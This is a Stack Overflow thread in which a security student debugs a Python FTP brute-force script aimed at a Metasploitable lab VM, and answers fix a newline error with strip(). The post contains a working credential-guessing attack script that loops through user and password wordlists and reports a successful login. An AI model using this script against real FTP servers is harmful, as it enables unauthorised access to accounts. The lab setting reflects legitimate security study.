0

I study computer security and I am recreating a brute force attack on an ftp server with a virtual machine that has got metasploitable installed but I get an error. The strange thing is that I have seen other people use this same code and they work perfectly, but when I use this code in my cmd I get an error and I do not understand why.

When I try to execute the script the cmd tells me that there is an error with the following lines:

brute(ip, users_file, passwords_file)
ans = conect.login(user, password)
resp = self.sendcmd(´USER´, + user)
self.putcmd(cmd)
self.putline(line)   
raise ValueError('an illegal newline character should not be contained')
ValueError an illegal newline character should not be contained

The code that I am trying to execute is this:

import ftplib
import sys

def brute(ip, users_file, passwords_file):
 try:
    ud = open(users_file, "r")
    pd = open(passwords_file, "r")

    users = ud.readlines()
    passwords = pd.readlines()

    for user in users:
        for password in passwords:
            try:
                print "[*]Trying to connect"
                conect = ftplib.FTP(ip)
                ans = conect.login(user, password)
                if ans ==  "230 Login successful.":
                    print "[*]Successfull atack"
                    print "User: ", user
                    print "Password: ", password
                    sys.exit()
                else:
                    pass
             except ftplib.error_perm:
                print "Can't Brute Force with user: " + user + " and password: " + password
                conect.close

 except(KeyboardInterrupt):
    print "Interrupted. Later!"
    sys.exit()

ip = raw_input("IP: ")
users_file = "users.txt"
passwords_file = "passwords.txt"

brute(ip, users_file, passwords_file)

Does anyone know why this happens?

Jhonatan Zu
  • 169
  • 1
  • 3
  • 12
  • I think maybe when you are reading the lines in there is a `\n` in there you need to take out.. – johnashu Mar 25 '18 at 04:15
  • See: ["Reading a file without newlines"](https://stackoverflow.com/q/12330522/2586108). – John B Mar 25 '18 at 04:16
  • But I do not know where I got the jump line? the script is only reading two .txt files with user columns and passwords .. – Jhonatan Zu Mar 25 '18 at 04:27
  • @JhonatanZu try `ans = conect.login(user.strip(), password.strip())` – Rakesh Mar 25 '18 at 05:35
  • @Rakesh Yes it worked..Thanks Bro, you are the best... You have been the only one who could help me ... however it does not make any sense, since a friend of mine also used the 'ans' without the strip, and he had no problem unlike me ... but I guess in the programming sometimes happen paranormal things XD – Jhonatan Zu Mar 25 '18 at 06:59

2 Answers2

1

Try striping any trailing space from string.

Replace

ans = conect.login(user, password)

with

ans = conect.login(user.strip(), password.strip())
Rakesh
  • 81,458
  • 17
  • 76
  • 113
0

Hi I encountered the same problem. On Ubuntu Mate and in Windows 7 the FTP blocks worked properly. I installed the latest Anaconda in Windows 10 and I get the "raise ValueError('an illegal newline character should not be contained')" error. So I installed Anaconda 4.3.1 with Python 3.6.0 (the version I'm using in windows 7) and I have no more FTP issues . Maybe also earlier versions of Anaconda/Python could work properly, I didn't try.

LDV
  • 21
  • 2